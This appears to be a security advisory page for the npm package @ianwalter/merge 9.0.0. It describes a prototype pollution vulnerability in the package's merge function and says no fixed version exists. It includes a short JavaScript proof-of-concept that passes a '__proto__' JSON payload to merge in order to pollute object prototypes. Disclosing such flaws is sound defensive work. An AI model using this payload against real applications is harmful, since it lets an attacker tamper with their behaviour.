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@ianwalter/merge@9.0.0 vulnerabilities

Recursively merge JavaScript Objects

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Direct Vulnerabilities

Known vulnerabilities in the @ianwalter/merge package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Prototype Pollution

@ianwalter/merge is a Recursively merge JavaScript Objects

Affected versions of this package are vulnerable to Prototype Pollution via the main (merge) function. Maintainer suggests using @generates/merger instead.

PoC

const merge = require('@ianwalter/merge');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
var EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
merge({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

How to fix Prototype Pollution?

There is no fixed version for @ianwalter/merge.

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